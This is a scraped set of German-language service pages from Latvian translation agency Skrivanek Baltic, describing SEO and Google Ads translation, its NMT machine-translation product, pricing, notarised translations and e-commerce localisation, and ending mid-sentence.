https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ - Translation Priorities: Optional Unabhängig davon, ob Sie auf dem einheimischen oder internationalen Markt tätig sind, ist es wichtig, dass jedes von Ihnen angebotene Produkt oder Dienstleistung, in der digitalen Welt wahrgenommen und anerkannt wird. Sie werden den größten Erfolg erzielen, wenn Sie Ihre potenziellen Kunden in ihrer Muttersprache ansprechen. Der erste Schritt ist die Lokalisierung und Anpassung Ihrer Webseiten und Anzeigen an den lokalen Markt und dem jeweiligem Zielpublikum. Bei der Lokalisierung von Webseiten spielen SEO-Grundsätze eine wichtige Rolle, die sich auf die Platzierung der jeweiligen Webseite in der organischen Suche auswirken (die Ergebnisse des Browsers, die mit dem eingegebenen Schlüsselwort übereinstimmen), ebenso wie die Online-Werbung mit Google Ads, die dafür sorgt, dass die richtigen Kunden Ihre einzigartigen Angebote nicht verpassen. GOOGLE ADS (ADWORDS) ÜBERSETZUNGEN Wenn Sie Ihre Webseite in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Webseite nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. DIE WICHTIGSTEN GRUNDSÄTZE DER GOOGLE-ANZEIGEN Unsere Fachleute in der Lokalisierung sind in der Übersetzung von Google Ads-Anzeigentexten geschult und wissen, wie man herausfindet, welche Schlüsselwörter in der Zielsprache besonders beliebt sind. Wenn Sie beispielsweise IT-Produkte anbieten, ist es wichtig zu wissen, wie die potenziellen Käufer diese suchen könnten. Unsere Spezialisten passen die Schlüsselwörter so an, dass die Nutzer Ihre Anzeige sehen, unabhängig davon, wie sie nach dem jeweilige Produkt suchen. WIE KÖNNEN UNSERE SPEZIALISTEN EINE INDIVIDUELLE GOOGLE-ANZEIGE FÜR SIE ERSTELLEN? Die Übersetzung von Google Ads und die Lokalisierung von Anzeigen ist keine leichte Aufgabe. Deshalb werden sie von den jeweiligen Spezialisten durchgeführt, die Muttersprachler der Zielsprache sind. Eine gute Google Ads-Anzeige zeichnet sich durch drei Merkmale aus: sie passt in die Zeichenbegrenzung; sie ist kurz und prägnant; sie ist für den Kunden verständlich. Google Ads-Anzeigen werden nicht einfach übersetzt, sondern von unseren Fachleuten in der Zielsprache neu erstellt, wobei die Botschaft erhalten bleibt und die Anzeigen so präsentiert werden, dass sie die einheimischen Nutzer ansprechen. Dies ist besonders wichtig, wenn die Werbung auf Märkten mit einer anderen Kultur und einem anderen Verständnis von guten Umgangsformen, Formalitäten und Werbestil eingesetzt wird. SEO ÜBERSETZUNGEN Webseiten erscheinen in den Listen der Suchergebnisse weiter oben oder weiter unten, je nachdem, wie gut sie laut der mechanischen Denkweise des Browsers mit den vom Nutzer eingegebenen Schlüsselwörtern und seinen potenziellen Bedürfnissen übereinstimmen. Unsere Spezialisten in der Lokalisierung sind mit den Grundsätzen der Suchmaschinenoptimierung (SEO) bestens vertraut und berücksichtigen bei der Lokalisierung von Webseiten für den Einsatz in lokalen Märkten, wie hoch die Webseite in den Suchergebnissen eingestuft wird. SEO-GRUNDSÄTZE Eine Webseite, die nach SEO-Grundsätzen erstellt und lokalisiert wurde, erscheint in den organischen Suchergebnissen weiter oben (eine gute Platzierung befindet sich normalerweise auf den ersten drei Seiten der Suchergebnisse). Bei der Lokalisierung Ihrer Webseite behalten unsere Spezialisten die gewählten Schlüsselwörter und das gesetzte Ziel im Auge, um sicherzustellen, dass Ihre Webseite den Anforderungen des Browsers und den Wünschen Ihres Zielpublikums gerecht wird. Webseiten, die mit den SEO-Grundsätzen übereinstimmen, haben mehrere wesentliche Vorteile: Sie erscheinen weiter oben in den Suchergebnissen; Sie passen besser zu den Suchanfragen der Nutzer und verringern die Wahrscheinlichkeit, dass Ihre Webseite gleich nach dem Öffnen wieder geschlossen wird (was darauf hindeutet, dass sie der falschen Zielgruppe angezeigt wird); verbesserte Nutzererfahrung: höhere Wahrscheinlichkeit, dass die Nutzer genau das finden, was sie gesucht haben; höhere Investitionsrendite. WIE ERSTELLEN UNSERE LOKALISIERUNGSSPEZIALISTEN DIE BESTEN SEO-ÜBERSETZUNGEN? Die Übersetzung von Schlüsselwörtern erfordert genaue und sorgfältige Arbeit. SEO-Übersetzungen bringen noch etwas sehr wichtiges mit auf den Tisch: Sie verstehen, dass manche Schlüsselwörter sehr wettbewerbsfähig sind und erkennen ähnliche Schlüsselwörter. Die Auswahl der besten Schlüsselwörter erfordert eine gewisse Recherche, um herauszufinden, (wie oft) welche Wörter in der Zielsprache verwendet werden. Dies kann sowohl von Ihrem SEO-Spezialisten als auch von unseren Fachleuten durchgeführt werden. In den meisten Fällen werden SEO-Übersetzungen mit einer Liste von Schlüsselwörtern in der Ausgangssprache geliefert, die dann mit den besten und passendsten Schlüsselwörtern in der Zielsprache abgeglichen werden, um die ursprüngliche Bedeutung zu erhalten und gleichzeitig beliebte und gebräuchliche Wörter zu verwenden. WIE KÖNNEN WIR IHNEN BEI DER ÜBERSETZUNG IHRER SEO- UND GOOGLE-ANZEIGEN HELFEN? Als Reaktion auf Veränderungen im Markt ist die Übersetzung von SEO und Google Ads einer der am schnellsten wachsenden Lokalisierungsbereiche. Skrivanek Baltikum verfügt über mehr als 25 Jahre Erfahrung in der Übersetzungsbranche. Zu unserem Team gehören Lokalisierungsspezialisten, die in mehr als 110 Sprachkombinationen arbeiten. Unsere Lokalisierungsspezialisten verfügen über das Fachwissen und die Erfahrung, die für anspruchsvolle SEO- und Google Ads-Übersetzungen erforderlich sind. HÄUFIG GESTELLTE FRAGEN Wir bieten eine große Vielfalt an Sprache an - Übersetzungen und Dolmetschen, Lokalisierung, Textadaption, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigsten Dienstleistungen für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Nein, alle Übersetzungsaufträge werden von Projektmanagern, die ein effizientes Bindeglied zwischen Kunden und Anbieter darstellen, angenommen und betreut. Die Übersetzer und Dolmetscher von Skrivanek Baltikum können Dienstleistungen in mehr als 110 Sprachen anbieten. BRAUCHEN SIE EINE ÜBERSETZUNG FÜR SEO ODER GOOGLE ADS? SUCHEN SIE EINE SPRACHLÖSUNG ODER EINE BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITATIVER SERVICE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Skrivanek NMT wurde auf der Grundlage der 25-jährigen Erfahrung und des Fachwissens des Skrivanek-Teams in der Übersetzungsbranche entwickelt. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ - Translation Priorities: Optional NEURONALE MASCHINELLE ÜBERSETZUNG - SKRIVANEK NMT 1 Sie müssen einen unglaublich umfangreichen Text in sehr kurzer Zeit übersetzen? Sie können ein Übersetzungsprojekt nicht in der zur Verfügung stehenden Zeit fertigstellen? Ist die vorgeschlagene Übersetzungsfrist zu lang? UNSERE LÖSUNG IST SKRIVANEK NMT Skrivanek NMT wurde auf der Grundlage der 25-jährigen Erfahrung und des Fachwissens des Skrivanek-Teams in der Übersetzungsbranche entwickelt. Ein neuronaler maschineller Übersetzer funktioniert nach einem ähnlichen Prinzip wie die Neuronen im menschlichen Gehirn. Skrivanek NMT wurde nicht nur von Skrivanek-Sprachspezialisten, sondern auch von Akademikern und Fachleuten aus verschiedenen Bereichen erarbeitet. WIR BIETEN VERSCHIEDENE ARTEN VON MASCHINELLEN ÜBERSETZUNGSDIENSTEN AN: maschinelle Übersetzung ohne Nachbearbeitung; automatische maschinelle Übersetzung mit einfacher Nachbearbeitung; automatisierte maschinelle Übersetzung mit umfassender Nachbearbeitung, die einer menschlichen Übersetzung ebenbürtig ist. Wir empfehlen den Einsatz von maschineller Übersetzung ohne Nachbearbeitung, um Zeit und Kosten für die Übersetzung von sehr großen gängigen und standardisierten Dokumenten zu sparen. Wenn die Übersetzung für die Kommunikation mit Kunden, Partnern oder Kollegen bestimmt ist, empfehlen wir eine maschinelle Übersetzung mit einfacher oder vollständiger Nachbearbeitung, die von einem Muttersprachler der Zielsprache oder einem Experten auf dem entsprechenden Gebiet durchgeführt wird. Dokumente und Texte, die zur Veröffentlichung oder zum Druck bestimmt sind, sowie spezialisierte und komplexe Branchentexte sollten immer professionellen Übersetzern und Redakteuren anvertraut werden. WAS IST POST-EDITING/ NACHBEARBEITUNG? Die Nachbearbeitung ist die Überprüfung einer maschinellen Übersetzung durch einen Muttersprachler. Wir bieten zwei Arten von Nachbearbeitungsdiensten an: eine grundlegende Nachbearbeitung, das darauf abzielt, grammatikalische Fehler und gravierende inhaltliche und stilistische Fehler im Text zu beseitigen. Das Ergebnis sind Inhalte, die leicht lesbar und verständlich sind; eine vollständige Nachbearbeitung, d. h. der Text wird überarbeitet und korrigiert, um die Qualität einer menschlichen Übersetzung zu erreichen, wobei nicht nur der Grundgedanke des Originaltextes wiedergegeben wird, sondern auch auf die Besonderheiten der Fachterminologie und die Verwendung sprachlicher Mittel eingegangen wird. WIE FUNKTIONIERT DIE MASCHINELLE ÜBERSETZUNG? Die neuronale maschinelle Übersetzung (NMT) ist eine ganz neue Entwicklung im Bereich der Sprachtechnologien. Die neuronale maschinelle Übersetzung stützt sich auf Algorithmen künstlicher neuronaler Netze, die ähnlich wie das menschliche Gehirn in der Lage sind, einen Text auf allen linguistischen Ebenen zu analysieren: phonetisch, lexikalisch, morphologisch und syntaktisch, wobei sie Satzgrenzen genau erkennen und die Notwendigkeit der Großschreibung identifizieren. Solche neuronalen maschinellen Übersetzungstechnologien werden weltweit immer beliebter, da sie im Vergleich zu früheren maschinellen Übersetzungstechnologien eine höhere Übersetzungseffizienz und bessere Qualität gewährleisten. DIE VORTEILE VON SKRIVANEK NMT: Es ist eine äußerst zeitsparende Methode, da das Übersetzungsprojekt noch am selben Tag geliefert werden kann. Für eine Übersetzung von 50 Seiten wären beispielsweise 3-5 Übersetzer erforderlich, um sie in einem einzigen Tag fertig zu stellen, während sie mit Skrivanek NMT innerhalb von zwei Stunden übersetzt werden kann; wir bieten eine automatische maschinelle Übersetzung ohne Nachbearbeitung kostenlos für Dokumente von wenigen Seiten an; Datenschutz und Diskretion der Informationen, da sich die Server von Skrivanek an einem abgesicherten Ort befinden und nur von eigens dazu befugtem Personal betreten werden können; geprüfter Datenaustausch zwischen den Servern; einen niedrigeren Preis im Vergleich zur herkömmlichen Übersetzung; die Möglichkeit, maschinelle Übersetzung mit computergestützten Übersetzungswerkzeugen (CAT) zu kombinieren; Beibehaltung der Textformatierung (Schriftart, Tabellen, Farben, Inhaltsverzeichnisse); die Möglichkeit, eine maßgeschneiderte NMT-Lösung für das Unternehmen zu erhalten, die dessen Branche und Spezialisierung berücksichtigt; Nachbearbeitungsdienste. NACHTEILE VON SKRIVANEK NMT: Die NMT-Lösung ist nicht für alle Branchen, Dateiformate und Texte geeignet. Fragen Sie unsere Spezialisten, ob Ihre Projekte mit der SKRIVANEK NMT realisiert werden können, Es ist schwer humorvolle Texte zu übersetzen, da die Feinheiten eines Witzes schwer wiederzugeben ist. Der Text kann an Lesefluss und wichtigen Formulierungen verlieren. * In einigen Fällen ist es für den Kunden erforderlich, eine Datei für NMT vorzubereiten oder zu bearbeiten, damit er SKRIVANEK NMT nutzen kann. HÄUFIG GESTELLTE FRAGEN Skrivanek NMT übersetzt 1200 Wörter, also etwa fünf Seiten pro Sekunde. Die Zeit, die für die Vorbereitung und Durchführung des Projekts benötigt wird, muss in Betracht gezogen werden. Der schnellste und bequemste Weg ist, sich an die Spezialisten von Skrivanek zu wenden, die Ihnen gerne erklären, ob die neuronale maschinelle Übersetzungstechnologie die richtige Lösung für Ihr Übersetzungsprojekt ist. Sie bewerten, ob eine automatisierte maschinelle Übersetzung ohne Nachbearbeitung eine optimale Lösung sein könnte oder ob Sie sich für eine maschinelle Übersetzung mit vollständiger Nachbearbeitung und Überprüfung entscheiden sollten. Es gibt einige Standardfragen, die Ihnen bei der Auswahl des richtigen Dienstes helfen können: Wer wird die Übersetzung lesen? Ist die Übersetzung zur Veröffentlichung oder zum Druck bestimmt? Soll der Inhalt nur allgemein verständlich sein? Inwieweit ist der Text fachspezifisch? Es ist immer wichtig zu verstehen, was neuronale maschinelle Übersetzungstechnologien leisten können und was sie noch nicht können. In Fällen, in denen nur der Hauptgedanke des Textes wiedergegeben werden soll, ist es durchaus plausibel, sich für eine maschinelle Übersetzung zu entscheiden. Eine maschinelle Übersetzung mit vollständigem Nachbearbeitung ist einer menschlichen Übersetzung ebenbürtig. Skrivanek NMT ist in den folgenden Sprachkombinationen erhältlich: Polnisch-Englisch, Englisch-Polnisch; Deutsch-Englisch, Englisch-Deutsch; Französisch-Englisch, Englisch-Französisch; Englisch-Finnisch, Englisch-Tschechisch, Polnisch-Russisch; und andere. Maschinelle Übersetzung (MÜ) und computergestützte Übersetzungswerkzeuge (CAT) sind zwei unterschiedliche Übersetzungslösungen: Die maschinelle Übersetzung ist computergeneriert; Computerunterstützte Übersetzungsprogramme erleichtern dem Übersetzer die Arbeit, indem sie bereits übersetzte und freigegebene Segmente im Dokument auswählen. Der endgültige Preis hängt von der Lieferzeit, dem Dateiformat, der Textmenge, dem Fachgebiet und eventuellen Zusatzleistungen ab, so dass jeder Auftrag individuell bewertet wird. BRAUCHEN SIE EINE MASCHINELLE ÜBERSETZUNG? SUCHEN SIE EINE SPRACHLÖSUNG ODER EINE BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITATIVER SERVICE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Schicken Sie uns Ihre Dokumente und wir werden Ihnen vor Beginn der Übersetzung einen Kostenvoranschlag für die Dienstleistung unterbreiten. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ - Translation Priorities: Optional Die Preise für die Übersetzungen unseres Unternehmens berechnen wir auf Grundlage der Wörteranzahl im ausgangssprachlichen Dokument (im Original). Wir legen vor Projektbeginn den Preis fest und vereinbaren einen passenden Abgabetermin für alle Parteien. Für die gängigsten Sprachkombinationen (Lettisch, Russisch, Deutsch und Englisch) ist das Korrekturlesen durch einen Muttersprachler bereits im Preis der schriftlichen Übersetzung inbegriffen. Der Preis der schriftlichen Übersetzung und des Dolmetschens richtet sich nach der Abgabefrist des Auftrags. Bei Eilaufträgen sind höhere Projektkosten zu berücksichtigen, über die Sie umgehend von unserem Projektmanager informiert werden. Der Preis für schriftliche Übersetzungen und Dolmetschen wird nicht von den Besonderheiten oder der Komplexität der Branche beeinflusst! Wir informieren uns gerne über das von Ihnen gewünschte Projekt - nach Eingang Ihrer Anfrage erstellen und versenden wir umgehend unseren Kostenvoranschlag und den Abgabetermin! Für Firmenkunden, die uns Übersetzungsaufträge erteilen, bieten wir einen Rabatt von 5 % auf Sprachkurse für die Mitarbeiter des Unternehmens! Unsere Projektmanager informieren Sie über weitere Rabatte sowie über die Möglichkeit, eine Vertraulichkeitsvereinbarung oder einen Kooperationsvertrag abzuschließen! PREISBERECHNUNG Der Preis wird mit der Anzahl der Wörter in der Ausgangssprache berechnet. Die genaue Anzahl der Wörter kann mit Wordcount ( Tools / Wordcount / Words ) für die in elektronischem Format vorliegenden Dokumente ermittelt werden. Berechnungsformel des schriftlichen Übersetzungspreises: Übersetzungspreis pro Wort x Anzahl der Wörter in der Ausgangssprache = Preis pro Auftrag (ohne MwSt. ). Die oben genannte Preisberechnung gilt nicht für Übersetzungen, die zur notariellen Beglaubigung bestimmt sind. ZAHLUNGSVERFAHREN Wir bieten juristischen Personen die Möglichkeit, einen Kooperationsvertrag abzuschließen, in dessen Rahmen wir die folgenden Zahlungsbedingungen anbieten können: Bei einer Erstbestellung bei unserem Unternehmen erhält der Kunde die Bestellung erst nach Bezahlung der Rechnung; Nachzahlung mit einer Rechnung nach jedem Projekt (in der Regel empfehlen wir diese Option für große Projekte); Nachzahlung mit einer Rechnung für den Zeitraum (in der Regel empfehlen wir dies für Kunden mit einer großen Anzahl von Kleinaufträgen); Nachzahlung mit einer Rechnung einmal im Monat. Wir bieten Firmenkunden und Privatpersonen die Möglichkeit, Rechnungen mit Karte oder in bar in unserem Büro, per PayPal oder per Banküberweisung zu bezahlen. SIE BENÖTIGEN EINE ÜBERSETZUNG? Anfrage senden ODER ANRUFEN (+371) 67 240 364 Wir erstellen Ihnen in kurzer Zeit ein Angebot und beraten Sie. Der Erhalt eines kostenlosen Kostenvoranschlags verpflichtet Sie nicht zu einer Zusammenarbeit mit uns. ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Notariell beglaubigte Übersetzungen. Die Dokumente werden von einem vereidigten Notar beglaubigt, ein vereidigter Übersetzer übernimmt die volle Verantwortung für die Übersetzungen. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ - Translation Priorities: Optional WARUM SIE SICH FÜR UNSERE NOTARIELL BEGLAUBIGTEN ÜBERSETZUNGEN ENTSCHEIDEN SOLLTEN! Professionalität und Erfahrung - Skrivanek Baltic ist ein zertifiziertes Übersetzungsbüro mit mehr als 30 Jahren Erfahrung. Unsere qualifizierten Übersetzer liefern genaue und Übersetzungen auf dem höchstem Standard. Große Sprachenvielfalt - Wir bieten beglaubigte Übersetzungen in mehr als 110 Sprachen an. Dies bietet unseren Kunden eine breite Palette von Optionen und Flexibilität. Unterstützung von Großformaten wie - pdf, jpg, idml, json oder html - uns sind alle vertraut. Mit Hilfe unserer DTP - Desktop-Publishing-Spezialisten bieten wir Textverarbeitung in verschiedenen Dateierweiterungen. Sie müssen sich also nicht um die Bearbeitung Ihrer Dokumente kümmern. Maßgeschneiderte Dienstleistungen - wir bieten verschiedene Arten von notariell beglaubigten Übersetzungen an, ganz nach den Bedürfnissen des Kunden. Darüber hinaus bieten wir die Zustellung von Dokumenten per Kurierdienst in ganz Lettland an. NOTARIELL BEGLAUBIGTE ÜBERSETZUNG Eine notariell beglaubigte Übersetzung ist eine Übersetzung, die durch die Unterschrift eines vereidigten Übersetzers beglaubigt wurde, die wiederum von einem Notar beglaubigt wurde. Die Notwendigkeit dieser Art von Übersetzungen ist in verschiedenen Gesetzen und Verordnungen festgeschrieben. In der Praxis prüft ein vereidigter Notar die Ausbildung und die Qualifikation des Übersetzers zur Durchführung der Übersetzung und warnt vor der Haftung des Übersetzers für vorsätzlich falsche und/oder fehlerhafte Übersetzungen gemäß den Paragraphen 300 und 302 des Strafgesetzes der Republik Lettland. WAS SIND BEGLAUBIGTE ÜBERSETZUNGEN VON SKRIVANEK? Wenn Sie die Übersetzung nicht notariell beglaubigen lassen müssen, aber eine offizielle Bestätigung der Richtigkeit der Übersetzung benötigen, empfehlen wir Ihnen eine beglaubigte Übersetzung von Skrivanek. Eine Übersetzung von einem Büro oder einem Übersetzer wird gemäß der Kabinettsverordnung Nr. 291 "Verfahren für die Beglaubigung von Dokumentenübersetzungen in der Amtssprache" angefertigt. Dies bedeutet, dass der Übersetzung eine schriftliche Beglaubigung beigefügt ist, dass die Übersetzung von einem professionellen Übersetzer in einem Übersetzungsbüro angefertigt wurde und somit die Richtigkeit, Genauigkeit und Originaltreue bescheinigt wird. Übersetzungen mit der Beglaubigung eines Übersetzungsbüros werden am häufigsten von Kunden für offizielle Dokumente in Auftrag gegeben, die bei Gerichten, staatlichen oder lokalen Behörden eingereicht werden. BENÖTIGEN SIE EINE NOTARIELL BEGLAUBIGTE ÜBERSETZUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung für notariell beglaubigte oder behördlich beglaubigte Übersetzungen! ARTEN DER BEGLAUBIGUNG FÜR EINE ÜBERSETZUNG Beglaubigung des Originaldokuments: Eine von einem qualifizierten Übersetzer beglaubigte und von einem Notar unterzeichnete Übersetzung wird an das Originaldokument geheftet. Beglaubigung der Kopie: Es wird eine Fotokopie des Originaldokuments angefertigt, an die eine von einem qualifizierten Übersetzer in der betreffenden Sprache beglaubigte Übersetzung angeheftet wird; eine Fotokopie mit einer Übersetzung wird nur dann von einem Notar beglaubigt, wenn das Originaldokument vorgelegt wird. Wenn kein Bedarf an einer notariell beglaubigten Übersetzung besteht, bieten wir an, die Richtigkeit unserer Übersetzungen mit dem Siegel der Agentur zu beglaubigen. Skrivanek Baltic bietet notariell beglaubigte Übersetzungen in den folgenden Sprachen an. Bitte beachten! Eine notariell beglaubigte Übersetzung oder eine Übersetzung eines Dokuments mit einer Agenturbeglaubigung wird oft fälschlicherweise als beeidigte Übersetzung oder als Übersetzung eines Dokuments, das von einem vereidigten Übersetzer unterzeichnet wurde, bezeichnet. Beachten Sie bitte, dass es in Lettland keinen Status eines "vereidigten Übersetzers" gibt und der Begriff "vereidigte Übersetzung" fälschlicherweise verwendet wird. In diesem Fall ist eine notariell beglaubigte Übersetzung, die von einem vereidigten Notar beglaubigt wurde, oder eine von einer Agentur beglaubigte und vom Übersetzer des betreffenden Dokuments unterzeichnete Übersetzung eines Dokuments erforderlich. Die Unterschrift des Übersetzers bescheinigt und bestätigt, dass die Übersetzung korrekt ist und mit dem Original übereinstimmt. Diese Beglaubigung wird der Kopie oder dem Originaldokument zusammen mit der Übersetzung beigefügt. BEGLAUBIGUNG DER RICHTIGKEIT DER ERSTEN ÜBERSETZUNG BIS ZU 10 SEITEN, MIT AMTLICHEM SIEGEL, NUR 5,00 EURO INKL. MWST! FIRMENKUNDEN, DIE EINE NOTARIELL BEGLAUBIGTE ÜBERSETZUNG BENÖTIGEN, KÖNNEN: Dokumente im Büro von Skrivanek Baltic in Riga einreichen und entgegennehmen; die notariell beglaubigte Übersetzung im Notariat im Zentrum von Riga erhalten; die Dokumente durch einen Kurierdienst in ganz Lettland zustellen lassen (die Kosten für diesen Dienst können Sie bei uns erfahren). Bitte rufen Sie unter (+371) 67 240 364 an oder senden Sie eine E-Mail an birojs@skrivanek. lv damit wir die perfekte Dienstleistung für Sie finden. WIR BIETEN NOTARIELL BEGLAUBIGTE ÜBERSETZUNGEN IN MEHR ALS 110 SPRACHEN AN Dänisch Deutsch Englisch Estnisch Finnisch Französisch Griechisch Italienisch Litauisch Norwegisch Polnisch Russisch Schwedisch Spanisch Tschechisch Andere Sprachen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITATIVER SERVICE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Möchten Sie Ihre Produkte und Dienstleistungen an ausländische Kunden vermarkten? Wir bieten die Übersetzung und Lokalisierung von Online-Shops in über 110 Sprachen an. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/ - Translation Priorities: Optional STELLEN SIE IHRE KONKURRENTEN IM BEREICH DES ELEKTRONISCHEN HANDELS IN DEN SCHATTEN! Die Übersetzung und Lokalisierung von Online-Shops ist eine Dienstleistung, die sprachliche, technische und kulturelle Aspekte umfasst. Übersetzer, die diese Dienstleistung erbringen, übersetzen nicht nur den Inhalt der Website oder Plattform, sondern müssen auch darauf achten, ob die Übersetzung den Interessen der Zielgruppe und ihren digitalen Suchgewohnheiten entspricht und die Gesetze und Vorschriften des jeweiligen Landes beachtet. Was noch bei der Übersetzung von Online-Shops wichtig ist, ist die Transkreation und Textadaption, also die Anpassung von Produktslogans, Werbeanzeigen und Marketinginhalten in die Zielsprache, um beim neuen Zielpublikum ähnliche Gefühle auszulösen. Zur Anpassung eines E-Commerce-Shops gehört auch die SEO-Übersetzung, bei der relevante Schlüsselwörter ausgewählt, recherchiert und in Ihre Produktbeschreibungen und andere Webseitentexte sowie Unterseitentitel, Meta-, Bild- und Infografikbeschreibungen und andere Elemente eingebaut werden. Diese verhelfen der Website zu einer besseren Platzierung bei den Suchmaschinenbenutzern in der jeweiligen Region und erregen gleichzeitig mehr Aufmerksamkeit bei der Zielgruppe. KULTURELLE UNTERSCHIEDE BEI DER ÜBERSETZUNG VON ONLINE-SHOPS Die Übersetzung und Lokalisierung von Online-Shops oder E-Commerce-Plattformen muss mit der Wahl Ihrer Zielkunden und deren Gewohnheiten beginnen, damit die Sprachspezialisten die übersetzten Inhalte des Online-Shops erfolgreich an die Interessen der Käufer anpassen können. Einige Aspekte des Produkts werden beispielsweise für französische Handelsvertreter wichtig sein, für Privatpersonen im Vereinigten Königreich jedoch völlig andere. Auch auf die richtige Auswahl der vorhandenen Inhalte muss geachtet werden, denn viele Texte, die für die Kunden Ihres Landes bestimmt sind, wie z. B. Artikel aus dem Nachrichtenbereich, Adressen, Kontaktangaben oder rechtliche Hinweise, sind in der fremdsprachigen Version Ihrer Website völlig überflüssig. Das Gleiche gilt für Produkt- und Dienstleistungsbeschreibungen sowie für andere Texte. So können 